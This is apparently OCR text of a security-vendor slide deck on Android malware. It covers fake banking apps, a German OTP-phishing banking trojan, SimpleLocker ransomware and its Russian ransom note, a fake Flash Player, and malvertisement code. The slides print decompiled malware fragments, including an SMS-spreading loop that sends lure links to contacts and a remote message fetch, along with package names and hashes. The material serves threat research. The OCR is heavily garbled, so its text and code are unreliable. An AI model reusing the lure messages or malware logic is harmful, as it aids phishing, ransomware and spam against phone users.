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Top 5 Malware Top 5 Apps

AndroidOS_Leadblt HRY com.felicanetworks.mfm.mz

AndroidOS_Ganlet. VTA com.felicanetworks.mfw.a.r
= AndroidOS_Arpush HRXV Z (3 jp-naver_line.android

AndroidOS_Gen.VTA i com.google.android.gms
AndroidOS_SMSreg.VTA B com.twitter.android




% Google pay {504 = AE
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° Apps with 7 7
fake versions %

° Apps without

fake versions 23%
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> Google play [ a |

SHOP ANDROID APPS

A MO 8:30 PM CIMB Clicks

CIMB Clicks Perbankan

Internet
ANDROI APP STORE

z. = CIMB Clrts

\
.
v 1 o
2
N /)
-
Internet Banking
500150 Uacariy caca 24 Boluo
BN www.cimbelicks.inth ——
: —-~Boany

BESTE N N

This app is compatible with your U

<]

) User ID :| e e —
\ Passworc‘ Morchici e - w—

Mobile Samsung GT-19100. T Transiate the gescription into Er

'i’ Clear \.::II::‘ Submit

HNeed Assistance?

Call our customer care hotline at 1 300 330 900
or 603-2295 6100 if you're overseas.

(24 hourz daity, including holidays).

H7FHAB 8em
9‘9‘/“_ Fﬁ 500@

Package Name: info.grupovg.cimbclicks
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] v @] [Bv Google Q & w @~

[ Most Visited~ f@Release Notes [E]Fedora Project~ [EjRed Hatw [EjFree Contentw

BAESR

Installierung der Mobileapplikation. Schritte 2.
1. Installieren Sie die mobile Applikation aus der SMS auf Ihrem Telefon und staren Sie es

2. Dann werden Sie die Mﬁgllfl'lkf:‘ll bekommen das EIr'II'I'ISulI.'IH‘i‘S'.-’-‘I:I It flr den zugang 2u Ihrem Konto zu generleren Klicken
Sie _Passwort generieren” fiir die Generierung des Passwortes

3. Geben Sle das erhaltene Passwor auf dieser Seite ein und klicken Sle aul Weler.

| ) : Mobi

‘Wenn Sie aus irgendwelchem Grund SMS mitdem Link auf Ihre Mobilanlage nicht erhalten kiinnen. nutzen Sie alternative
Dawnlouds-Varianten,

Geben Sie in lhrem Mobilbrowser nichste Adresse ein: E I.:' E

fASHDEHEICKD, EFEFETY>I2% [w]
[FERNRWNESER>. KDDbDdYDU>0—RA

BEERULTSEE L

rt, das von der mobilen 229195
iplikation generiert ist:

BEVDEFIT SOTFICRDT RULAZEAD
ULE9. h++p://{BLOCKED} oL
FZEFE QROI—FK ZRAF T UTLKEZL,
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Den neuen Benutzungsvorschriften

gemab, soll jeder Versuch Ihr Bankkonto

einzutreten mit Hilfe Einmalpasswort

verwirklicht sein. Dieses Passwort i

kdnnen Sie mit Hilfe dieses Programm fiir lhr Passwort:
Ihr Smartphone generieren. Driicken Sie

,Passwort generieren” auf und System :
wird lhr Einmalpasswort generieren. -

Fillen Sie es in lhrem Online-Banking ein,

wenn es angefragt sein wird. Dieses

Passwort ist nur fiir einen Versuch

verfiigbar. Deshalb I6schen Sie dieses
Programm nicht. Ohne es kénnen Sie
nicht lhr Bankkonto benutzen.

Passwort generieren
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Sex xonix
dayWeekBar
Android Update
Shadow Fight 2
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kb 88
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Package Name: org.simplelocker
SHA1 : 18547A39B314ACECD26897D9C3F6D2747EF9410E



FLWWplayer 2BRDIBRERE | 7TV
e || 20144E6 H ¥R S

Bawl TenecoH 6noKMpoBaH!

Onsa pasﬁnoxuposku Ballero
TenechoHa onnatute 1000 p)m ﬁ 1% 2 E Eb T
1. HanpguTe 6nvxanwmm TepMHHan&;bl u E u E

nnatexen QIWI

2. NMogonanTe K TEpMUHAZY Gepete

nononHeHve QIWI VISMLLET n [ — |

3. BBeguTe HOMep Te. OHa,+79062559583

WM HaXM atée

4. MosaButcA MEeHTapui - TyT [ |
BBEAUTE mep Tnd 6e3 7kum

5. BcTaBb’ ' B KYMOPONPUEMHUK U
MWUTe onnaTuTb
18

6.BT1e 0 MWHYT nocne NocTyNnNeHUsA , =
nb&a Mbl pasnoymm Baw TenedoH.
e MOXeTe OnnaTuTb Yepes canoHbl
§ ceA3u CBA3Hon n EBpoceTb
H

MMAHMWME: MNonbiTkn pa3bnoknpoeaTb
TenedhOH CaMOCTOATENBHO NPUBEYT:

K NonHoW NonHow 6110Kl:|p03|<e Ballero
O manonensen sosmoRmecTH N L}
pa3bnokupoBaHuA. , ’
\
m 1\ | \ A \
onion ZC
Package Name: org.simplelocker

SHA1 : 18547A39B314ACECD26897D9C3F6D2747EF9410E
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Webpage not available y o ~
e e elee- s BYCTA DI iEs

it o gy vy oDy

Android )\ XA%&tz—
JE—RTEFHULLTNE
IV—Hh SR TER0

BIERDFEDD > UFERR
[CEEAEN S0 REEESD D

Package Name: com.android
SHA1 : 9B5CDC72403E824DCC2EB9E4F884CCEBES555AAD1
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> Google play =FER 1 {AFlash7 V)
201359 H kRS

FAOYI\—%:
Flash Player for Android

Adobe Flash Player

FLASH PLAYER FOR ANDROID

Subject
DN: CN=tgqlm2dd66vyg
CN: tglm2dd6bvyg

Android Az NDFlash Playerd»” 7'1)

Issuer

DN: CN=tq1lm2dd66vyg
CN: tqlm2dd6bvyg

Package Name: com.rg2333g53t244frf.flash.player
SHA1 : 334FF946DA87A4CE8934267B4A198CC25BDCE38E
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public woid onClick(Yiew paramiiew)
A

if (Build.YERSION. SDK INT < 14);4
for (String str = "htlp f’fdl:uwnlnad macronedia.com/pub/f lashelayer/instal lers/archive/android/11.1.111.52/instal | _f lash_p|

Iayer,-“lnst?lIersfarn:hwefandrmdﬂl L115.37 instal | _flash_plaver_ics.apk™) 4
4
Launchictivity.this.startictivity(nee Intent ("andraid.intent .action.WIEW™, Uri.parse(strill;d
return;
[
e
11
BootReceiver.start (this, truel;!
return;

[ANDROIDOS REVMOB.A | (X IE#RFlashPlayerz X o> A—K§ 30—KZz &1

com.rg2333g53t244frf.flash.player-20-vD.67.52264_dex2jar.jar x

ETTTTTTT BB IAL

---EE} apperhand ¢
&

e S Malvertisement

#-83 millennialmedia.android
= &/

S ARIERLERZRL

---EE revmob é

-8 rg233 4a4frf.flash.player Bl :

-3 senddr¥id —
JBIFEE YA IR
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sMmszlE 5 & < Malvertisement ;& Eh

public void run()
{ ;
o 2 e - x *
for (int i = 0; ; i++) 0
o\‘ ,

{
if (i >= Math.min(20, ers.size()))
{

if (this.listene?\mll)

this. listeg;: .oiffaskComplete ("CK") ;

return;
}
Map lo;a = (Map)this.users.get(i):;
Stri 1 = (String)localMap.get("phone”);
L @strz = (String)localMap.get("name");
i (strl == null) || (strl.equals("null™)) || (str2 == null) || (str2.equals("null™)))
O continue;
String str3 = "Dear " + (String)lcocalMap.get("name") + ", Look The Self-time, " + "http://g 3+

sendSMS ( (String) localMap.get ("phone™), str3):

0 T | (RE

[ AndroidOS_SIfMite. A1V EIE T B SMSAYtE— D AR I
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AIE7 D VUoBEi Pay Per Install
) | ¥ ﬂ

Cbject localCbjec

fere tream localBufferedInputStream = new BufferedInputStream(new URL("http://_-. -.—-.._. ..-._-/message.php”).openConned
el% uffer localByteArrayBuifer = new ByteArrayBuifer(50);
true

Mobogeniett (mobogenie.com) @
IE#RJ77Y) [Mobogeniel] =45 >0O0—R

JHL) :

PITIDA DA =)V RS, 7I«4UT
1 NMeEBRUEBMN Rzl DL TS
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Web#EHao Malvertisement & Eh

2013F 11 o3RS
—1—2H NEIESESIC

[Mobogeniel h'\BE)4S
>0—R

L&V > 2 dIavaScript
MEBLAD>O—R

Package Name: com.mobogenie
SHA1 : 7F52C18229834C02212A2ECBD2D81830529405E6
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Thank You!
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J Repackaged Apps and their Effect on the Mobile Threat
Landscape

http://blog.trendmicro.com/trendlabs-security-intelligence/a-look-into-repackaged-apps-and-its-role-in-the-mobile-threat-landscape/

Finding Holes in Banking Security: Operation Emmental

http://blog.trendmicro.com/trendlabs-security-intelligence/finding-holes-operation-emmental/

Androidig R ZIHDIS VP AD TP, EBBIEY AT/ 'The Onion Router
(Tor) 1 ZRIA

http://blog.trendmicro.co.jp/archives/9318

IFRY—T v I~ Google Play] ET2BESNTU\/Z {@Flash Player] DIE{AIE?

http://blog.trendmicro.co.jp/archives/7825

ANV BV X =YV TFEETIOE/NTIVBITAREP T Z5HR

http://blog.trendmicro.co.jp/archives/9399

A e Knowledge

FECRD | AV—FIJ2VICBIEE

http://www.is702.jp/special/1044/partner/183 s/

STOP | THINK | CONNECT

STOP. THINK. CONNECT. &I&

https://www.antiphishing.jp/enterprise/stc.html
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